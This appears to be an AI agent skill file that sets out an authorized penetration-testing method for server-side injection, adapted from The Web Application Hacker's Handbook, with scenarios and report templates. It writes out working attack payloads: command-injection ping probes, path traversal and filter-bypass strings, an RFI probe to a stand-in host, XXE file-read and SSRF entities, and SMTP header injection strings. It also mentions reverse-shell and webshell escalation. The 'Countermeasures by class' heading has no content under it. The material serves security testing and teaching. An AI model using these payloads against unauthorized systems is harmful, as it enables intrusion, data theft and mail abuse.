Server Side Injection Testing

Server-Side Injection Testing

When to Use

You have authorized access to a web application and need to test its back-end components for injection vulnerabilities that do not involve SQL databases.

This skill applies when:

• A penetration test or code review targets functionality that passes user input to OS commands, filesystem APIs, XML parsers, SOAP services, back-end HTTP requests, or mail servers
• Parameters in URLs, POST bodies, or cookies contain filenames, directory names, hostnames, or structured data (XML, SOAP) that is processed server-side
• You observe file retrieval behavior (?file=, ?template=, ?include=), admin functionality, or feedback/contact forms
• You need to bypass input validation filters protecting file path operations

The foundational insight: Web applications act as intermediaries between users and a variety of powerful back-end components. Each component speaks a different language with different metacharacters and escape semantics. Data that is safe in HTTP can be dangerous when interpreted by a shell, an XML parser, a filesystem API, or an SMTP server. An attacker who controls what these components receive can often go far beyond what the application intended — reading arbitrary files, executing arbitrary commands, or pivoting to internal network services.

Authorized testing only. This skill is for security professionals with explicit written authorization to test the target application.

Context and Input Gathering

Required Context

• Testing mode (black-box vs white-box): Why: white-box testing enables direct identification of dangerous API calls (exec, include, mail()), dynamic execution patterns, and XML parsing configuration; black-box testing relies on behavioral probing only.

  • If missing, ask: "Do you have access to the application's source code, or is this a black-box behavioral test?"

• Application technologies: Why: shell metacharacters differ between Unix and Windows; PHP include() enables Remote File Inclusion while ASP Server.Execute supports only Local File Inclusion; dynamic execution (eval) behavior is language-specific.

  • Check for: package.json, requirements.txt, pom.xml, framework config files, server banners

• Scope of testable parameters: Why: any parameter — query string, POST body, cookie, HTTP header — may be passed to a back-end component. Incomplete scope means missed findings.

  • If missing, assume all parameters in all requests are in scope

Observable Context (gather from environment)

• File access patterns: parameters named file, filename, path, template, include, page, lang, country
• OS command invocations: source code calls to exec, shell_exec, system, popen, Process.Start, wscript.shell, Runtime.exec
• XML input: Content-Type: text/xml or application/xml in requests, AJAX endpoints processing XML bodies
• Mail forms: feedback, contact, report-a-problem forms with email address and subject fields
• Back-end HTTP proxying: parameters containing hostnames, IP addresses, or full URLs

Process

Step 1: Map the Attack Surface

ACTION: Enumerate all parameters and input channels across every application function, looking for the following high-value targets: (a) parameters that appear to specify files or directories; (b) admin interfaces for server management (disk usage, process listing, network diagnostics); (c) XML-based endpoints (AJAX, REST with XML bodies, SOAP services); (d) feedback or contact forms; (e) parameters that appear in back-end HTTP requests (look for loc=, url=, host= parameters).

WHY: Server-side injection vulnerabilities do not cluster in predictable locations. OS command injection is common in admin interfaces. Path traversal appears wherever file retrieval occurs. SMTP injection only exists in mail submission functions. A systematic surface map prevents missing entire vulnerability classes. Any parameter in any request — including cookies — may be passed to a vulnerable back-end component.

AGENT: EXECUTES — Grep source code for dangerous API calls and file access patterns; catalog parameters from HTTP traffic.

# White-box: grep for dangerous calls
exec|shell_exec|system|popen|passthru|eval|include\(|require\(
Process\.Start|wscript\.shell|Runtime\.exec
mail\(|smtp|sendmail
file_get_contents|fopen|readfile|include_path
XmlDocument|DocumentBuilder|SAXParser|XMLReader

Step 2: Test for OS Command Injection

ACTION: For each parameter likely involved in OS command execution, submit the following all-purpose time-delay probe. Monitor response time — a ~30-second delay indicates successful injection:

|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &

If the application may be filtering specific separators, also submit each of these individually and monitor timing:

| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1 |
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping -i 30 127.0.0.1 %0a
` ping 127.0.0.1 `

WHY: Time-delay inference is the most reliable blind detection technique. When injected commands produce no output visible in the response — because results are discarded, because output is batched, or because the injection runs in a separate process — timing is the only reliable signal. The ping command is the canonical probe because it produces a predictable, controllable delay on both Unix (-i interval) and Windows (-n count). Testing multiple separators maximizes detection probability when the application filters some.

IF time delay is confirmed → repeat test 2-3 times varying -n/-i values to rule out network latency anomalies.

IF timing is confirmed → attempt retrieval of output by:

1. Injecting a command that writes to the web root: dir > C:\inetpub\wwwroot\foo.txt or ls > /var/www/html/foo.txt
2. Using out-of-band exfiltration: TFTP to retrieve tools, netcat reverse shell, mail command to send output via SMTP
3. Determining privilege level: inject whoami or id and exfiltrate result

IF full command injection is blocked → test for parameter injection: insert a space followed by a new command-line flag (e.g., if the app calls wget [url], try appending -O /path/to/webroot/shell.asp). Also test whether < and > are allowed for file redirection.

Step 3: Test for Dynamic Execution Injection

ACTION: For any parameter that may be passed to eval(), Execute(), or similar dynamic execution functions, submit these detection probes as each targeted parameter value:

;echo%20111111
echo%20111111
response.write%20111111
;response.write%20111111

WHY: Dynamic execution vulnerabilities arise when user input is incorporated into code strings executed at runtime by eval (PHP, Perl), Execute() (classic ASP), or similar constructs. These differ from shell injection — the injected code is interpreted by the scripting engine, not a shell, so different metacharacters apply. The semicolon terminates the preceding statement and begins a new one. If 111111 appears in the response without the rest of the submitted command string, the input is being executed as code.

IF 111111 is returned alone → the application is vulnerable to scripting command injection. Confirm with a time-delay: submit system('ping%20127.0.0.1') (PHP) or equivalent.

IF PHP is suspected → also try phpinfo() to obtain configuration details.

Step 4: Test for Path Traversal

ACTION: For each parameter that specifies a filename or directory:

Step 4a — Detect traversal handling. Modify the parameter to insert a subdirectory and a single traversal sequence that returns to the same location. If the application uses file=foo/file1.txt, submit file=foo/bar/../file1.txt. If both return identical behavior, the application is likely processing traversal sequences without blocking them — proceed to Step 4b.

Step 4b — Traverse above the start directory. Submit a long traversal sequence targeting a known world-readable file:

../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini

Use many sequences — the starting directory may be deep in the filesystem; redundant ../ sequences are harmless once the root is reached. Try both forward slashes and backslashes.

WHY: Path traversal vulnerabilities occur when user-controlled data is incorporated into filesystem API calls without proper canonicalization and validation. The ../ sequence (dot-dot-slash) instructs the filesystem to move up one directory. An application that constructs a path as C:\filestore\ + user_input and opens the result will read any file accessible to the web server process if the user_input contains ..\..\windows\win.ini. The consequences range from sensitive file disclosure (credentials, source code, configuration) to arbitrary file write (which can lead to code execution).

Step 4c — Bypass filters. If naive traversal is blocked, see path-traversal-bypass-matrix.md for the full bypass sequence. Key techniques:

• URL encoding: %2e%2e%2f (dot-dot-slash), %2e%2e%5c (dot-dot-backslash)
• Double URL encoding: %252e%252e%252f
• 16-bit Unicode: %u002e%u002e%u2215
• Overlong UTF-8: %c0%ae%c0%ae%c0%af
• Non-recursive strip bypass: ....// or ....\/ (inner ../ is stripped, leaving ../)
• Null byte injection: ../../../../etc/passwd%00.jpg (truncates file type suffix check)
• Prefix bypass: filestore/../../../../../etc/passwd (satisfies starts-with check)

Step 4d — Test write access. If the parameter is used for file writing, test with a pair: one file that should be writable (../../../tmp/writetest.txt) and one that should not (../../../windows/system32/config/sam). Different behavior between the two confirms a write traversal vulnerability.

WHY write access matters: An attacker with write traversal can create scripts in users' startup folders, modify in.ftpd to execute commands on connect, or write scripts to a web-accessible directory for immediate execution via browser request.

Step 5: Test for File Inclusion (Local and Remote)

ACTION — Remote File Inclusion (RFI): Submit a URL pointing to a server you control as the value of any parameter likely used in an include() or require() call. Monitor your server for an incoming HTTP request.

?page=http://your-server.com/probe
?Country=http://your-server.com/probe

If no connection arrives, submit a URL pointing to a nonexistent IP address and observe whether the application hangs (connection timeout indicates the server attempted to fetch the URL).

WHY: PHP include() and require() accept remote URLs by default unless allow_url_include is disabled. An attacker who can control the included URL can host a malicious PHP script on a server they control and have the vulnerable application execute it. The script runs with full server-side privileges.

ACTION — Local File Inclusion (LFI): Submit the name of a known server-side executable or static resource that the application is unlikely to expose via a direct URL.

1. Submit the name of a known executable resource (e.g., /admin/config.php) and observe whether the application's behavior changes.
2. Submit the name of a known static resource and check whether its contents appear in the response.
3. If LFI is confirmed, combine with path traversal techniques (Step 4c) to access files outside the application directory.

WHY: Local File Inclusion allows an attacker to cause sensitive server-side files to be executed or their contents disclosed within application responses. Files protected by application-level access controls (e.g., /admin/) may be accessible via LFI even when direct HTTP access is blocked, because the include mechanism bypasses the web server's access control layer.

Step 6: Test for XML External Entity (XXE) Injection

ACTION: Identify any endpoint that accepts XML input (look for Content-Type: text/xml or XML-formatted request bodies). Modify the request to add a DOCTYPE declaration defining an external entity that references a local file:

POST /search/ajaxsearch HTTP/1.1
Content-Type: text/xml

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

Observe whether the response contains the contents of /etc/passwd (Unix) or C:\windows\win.ini (Windows) in place of the entity reference.

WHY: Standard XML parsing libraries support external entity resolution by default. When the application reflects any portion of the XML data in its response, entity content is substituted inline before the response is generated. An attacker who can define SYSTEM "file:///etc/passwd" as an entity and reference it in an echoed element receives the file contents in the response. This bypasses all application-level access control because the XML parser, not the application, fetches the file.

IF file contents are returned → the application is vulnerable to XXE-based local file read. Escalate by:

• Targeting sensitive files: /etc/shadow, application config files containing database credentials, source code files
• Using http:// protocol instead of file:// to perform SSRF — cause the server to make HTTP requests to internal network addresses not accessible from the Internet:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:25" > ]>

WHY SSRF matters: Internal services (admin panels, databases, payment processors) often lack authentication because they are assumed to be unreachable from the Internet. An XXE-based SSRF condition allows the attacker to use the application server as a proxy into the internal network, scanning ports, retrieving service banners, and potentially exploiting vulnerabilities in internal services.

IF the entity is fetched but not reflected → test for Denial of Service using an indefinitely blocking resource:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///dev/random" > ]>

Step 7: Test for SOAP Injection

ACTION: For each parameter that may be incorporated into a SOAP message:

1. Submit a rogue XML closing tag: </foo>. If the application returns an error, the input is likely being inserted into XML.
2. Submit a balanced tag pair: <foo></foo>. If the error disappears, injection into a SOAP message is likely.
3. Submit test<foo/> and test<foo></foo> in turn. If either is returned in the response normalized as the other (or as just test), input is being inserted into XML-based messaging.
4. If the request has multiple parameters, insert the XML opening comment <!-- into one and the closing comment --> into another, then swap them. This can comment out portions of the server's SOAP message, potentially altering application logic.

WHY: SOAP messages use XML metacharacters (<, >, /) as structural delimiters. Unsanitized user input inserted directly into a SOAP message allows an attacker to add new XML elements, modify element values, or inject XML comments that suppress original elements. In the example of a funds transfer, injecting <ClearedFunds>True</ClearedFunds> before the server-generated <ClearedFunds>False</ClearedFunds> element may cause the back-end processor to read the attacker's value first and authorize the transfer.

IF SOAP structure is confirmed → look for error messages that disclose the full message structure. Use this to craft targeted injections that modify business logic elements (authorization flags, amounts, account identifiers).

Step 8: Test for HTTP Parameter Injection and HTTP Parameter Pollution

ACTION — HTTP Parameter Injection (HPI): For each parameter that may be forwarded to a back-end HTTP request, attempt to inject additional parameters by appending URL-encoded parameter syntax:

%26foo%3dbar    — URL-encoded: &foo=bar
%3bfoo%3dbar    — URL-encoded: ;foo=bar
%2526foo%253dbar — Double URL-encoded: &foo=bar

Observe whether the application's behavior changes in a way that indicates the injected parameter is being processed by the back-end server (e.g., bypassing a validation check, triggering a different response).

WHY: When the front-end application copies user-supplied parameters into back-end HTTP requests without sanitizing URL metacharacters, an attacker can inject additional parameters. If the back-end service processes an injected parameter that overrides a security-critical flag (such as clearedfunds=true in a bank transfer), the attacker can bypass business logic controls that exist only in the front-end layer.

ACTION — HTTP Parameter Pollution (HPP): Determine how the target server handles duplicate parameter names. Submit the same parameter multiple times with different values, both before and after other parameters, and in query strings, cookies, and POST bodies. The server's behavior (using first value, last value, or concatenated value) determines where the attacker must place injected parameters.

WHY: When an attacker injects a parameter that already exists in the back-end request (creating a duplicate), HPP determines whether the injected value or the original value takes effect. Understanding the server's duplicate-parameter behavior is required to position the injection correctly.

Step 9: Test for SMTP Injection

ACTION: Identify all application functions that send email (contact forms, feedback forms, account notifications). For each field you can supply (From address, Subject, message body), submit these test strings with your own email address substituted at the relevant positions:

<youremail>%0aCc:<youremail>
<youremail>%0d%0aCc:<youremail>
<youremail>%0aBcc:<youremail>
<youremail>%0d%0aBcc:<youremail>
%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a

Monitor the email address you specified — if any mail is received, the application is vulnerable. Also monitor for error messages that indicate the application is performing SMTP operations.

WHY: Applications that pass user-supplied input directly into SMTP conversations or mail() function parameters allow an attacker to inject additional email headers (Cc, Bcc, To) by inserting newline characters (%0a = LF, %0d%0a = CRLF). The SMTP protocol treats each line as a separate command or header. An attacker can cause the mail server to send messages to arbitrary recipients — enabling spam campaigns using the application's mail server, or sending phishing messages that appear to originate from the legitimate application domain.

IF header injection is confirmed → escalate to SMTP command injection: inject a complete new SMTP transaction by appending DATA, MAIL FROM, RCPT TO, and message body commands after the data terminator (a line containing only .). This produces entirely attacker-controlled messages originating from the server.

NOTE: Mail-related functions frequently invoke OS commands (sendmail, mail binaries). Also probe all mail-related parameters for OS command injection (Step 2) in addition to SMTP injection.

Step 10: Document Findings and Map Countermeasures

ACTION: For each confirmed vulnerability, write a finding with: vulnerability class, CWE identifier, severity, evidence (request/response or code snippet), and countermeasure.

WHY: Findings without countermeasures are incomplete — they identify the problem without enabling the fix. Specific, actionable remediation aligned to the vulnerability mechanism enables developers to address root causes rather than applying superficial patches.

Severity guidance:

• Critical: OS command injection with confirmed code execution, RFI with confirmed remote code execution, write path traversal to web root
• High: Read path traversal (arbitrary file read), XXE with confirmed file read or SSRF, blind OS command injection
• Medium: SOAP injection affecting business logic, LFI, HPI/HPP bypassing validation, SMTP injection
• Low: Unconfirmed indicators, partial filter bypasses without confirmed impact

Countermeasures by class:

Inputs

• Target application URL(s) and any known parameter inventory
• HTTP proxy session / Burp Suite project file (black-box mode)
• Application source code — server-side handlers, file access, XML parsing, mail functions (white-box mode)
• Test account or anonymous access to exercise all application functions
• Scope confirmation from the authorizing party

Outputs

Server-Side Injection Assessment Report containing:

# Server-Side Injection Assessment — [Application Name]
Date: [date]
Assessor: [name/team]
Mode: [black-box | white-box | hybrid]

## Executive Summary
[2-3 sentences: overall posture, highest severity finding, priority recommendation]

## Findings

### [FINDING-001] [Vulnerability Class] — [Parameter/Endpoint]
- CWE: CWE-XX
- Severity: [Critical | High | Medium | Low]
- Endpoint: [URL + parameter name]
- Evidence: [request/response excerpt or code snippet]
- Countermeasure: [specific remediation]

## Attack Surface Coverage
[Table: Class | Parameters Tested | Findings Count]

Key Principles

• The back-end component defines the attack surface — not the front-end validation. A filter that strips ../ from URL parameters provides no protection if the filesystem API receives the unfiltered value from another source. Testing must target the component's input, not just the HTTP layer.

• Time-delay inference is the most reliable blind detection technique. When injected commands produce no visible output, timing is the only reliable signal. A 30-second delay from a ping command eliminates most false positives. Varying the delay duration (changing -n/-i) and repeating the test rules out network anomalies.

• Filter bypass requires systematic escalation. Applications that implement path traversal defenses often block naive ../ but fail against encoded variants. Work through encoding levels in order: plain → URL-encoded → double-encoded → Unicode → overlong UTF-8. Test non-recursive stripping separately. Combine traversal bypasses with file-type suffix bypasses when both filters are present.

• XML parsers resolve external entities by default — this is the root cause of XXE. XXE is not a coding mistake in the application layer; it is a misconfiguration of the XML parsing library. The fix is at the parser configuration level (disabling external entity resolution), not input validation.

• SMTP injection targets the newline. The SMTP protocol delimits commands and headers with newline characters. A single unvalidated newline in a From address or Subject field is sufficient to inject additional headers, additional recipients, or entirely new SMTP transactions.

• Mail submission functions are consistently undertested. Because they are peripheral to core application functionality, they receive less security scrutiny and are often implemented via direct OS command calls rather than mail APIs. Test mail functions for both SMTP injection and OS command injection.

Examples

Scenario: Penetration test of a web-based server administration panel Trigger: "We need a pentest of our admin portal before we open it to remote access. It includes disk usage reporting and file browsing." Process:

1. Step 1: Map attack surface — identify ?dir= parameter in disk usage function and ?filename= parameter in file browser.
2. Step 2 (OS command injection): Submit || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & as dir value. Response takes 30 seconds — confirmed blind command injection (CWE-78, Critical). Confirm by varying delay to 10 seconds — response time changes proportionally.
3. Step 4 (path traversal): Submit ../../../../../../../../etc/passwd as filename value — server returns /etc/passwd contents (CWE-22, High). Filter bypass not required.
4. Step 2 exfiltration: Inject id > /var/www/html/tmp/out.txt — retrieve out.txt via browser — confirms execution as www-data. Output: 2 findings (Critical OS command injection, High path traversal). Countermeasures: replace shell call with du Python library; canonicalize filename parameter and verify it starts with expected base path.

Scenario: Security code review of a PHP e-commerce application Trigger: "Review our codebase before the launch. We're concerned about injection risks in the file handling and the contact form." Process:

1. Step 1: Grep for include(, eval(, mail(, exec(, file_get_contents( — finds include($_GET['page'] . '.php') in main.php and mail($to, $subject, $message, "From: " . $_POST['email']) in contact.php.
2. Step 5 (RFI): include() with user-supplied page parameter — no allow_url_include check. RFI confirmed in code (CWE-98, Critical). LFI also confirmed — path traversal bypass allows access to ../config/database.php.
3. Step 6 (XXE): XML endpoint found using SimpleXMLElement — no LIBXML_NOENT flag disabling entity expansion. XXE confirmed in code (CWE-611, High).
4. Step 9 (SMTP injection): mail() additional_headers parameter built from $_POST['email'] without newline stripping — email header injection confirmed (CWE-93, Medium). Output: 4 findings (Critical RFI, High LFI+XXE, Medium SMTP injection). Countermeasures: disable allow_url_include, replace include($page) with allowlist map, configure XML parser with LIBXML_NOENT, validate email address against RFC5322 regex rejecting newlines.

Scenario: Black-box assessment of an enterprise application with XML-based AJAX search Trigger: "Our AJAX search endpoint processes XML — can you check it for injection issues?" Process:

1. Step 1: Intercept AJAX search request — Content-Type: text/xml, body <Search><SearchTerm>test</SearchTerm></Search>. Response echoes search term in XML result.
2. Step 6 (XXE): Inject DOCTYPE with external entity referencing file:///etc/passwd into SearchTerm element. Response contains /etc/passwd contents inline in <SearchResult> — confirmed XXE (CWE-611, Critical).
3. SSRF escalation: Replace file:// with http://10.0.0.1:8080/ — response contains internal admin panel HTML — confirmed SSRF reaching internal network (High, escalated to Critical combined finding).
4. Step 7 (SOAP injection): Separate endpoint — submit </foo> in each parameter — error indicates XML context. Submit <foo></foo> — error disappears. Inject <ClearedFunds>True</ClearedFunds> via Amount parameter — confirms SOAP injection (CWE-91, High). Output: 2 findings (Critical XXE+SSRF, High SOAP injection). Countermeasures: configure XML parser to disable external entity resolution; HTML-encode all user input before SOAP message construction.

References

• Bypass technique details: path-traversal-bypass-matrix.md
• Countermeasure implementation: server-side-injection-countermeasures.md
• CWE and OWASP mapping: injection-cwe-owasp-mapping.md
• Source: Stuttard, D. & Pinto, M. (2011). The Web Application Hacker's Handbook (2nd ed.), Chapter 10: "Attacking Back-End Components," pp. 357-402. Wiley.

License

This skill is licensed under CC-BY-SA-4.0. Source: BookForge — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.

Related BookForge Skills

This skill is standalone. Browse more BookForge skills: bookforge-skills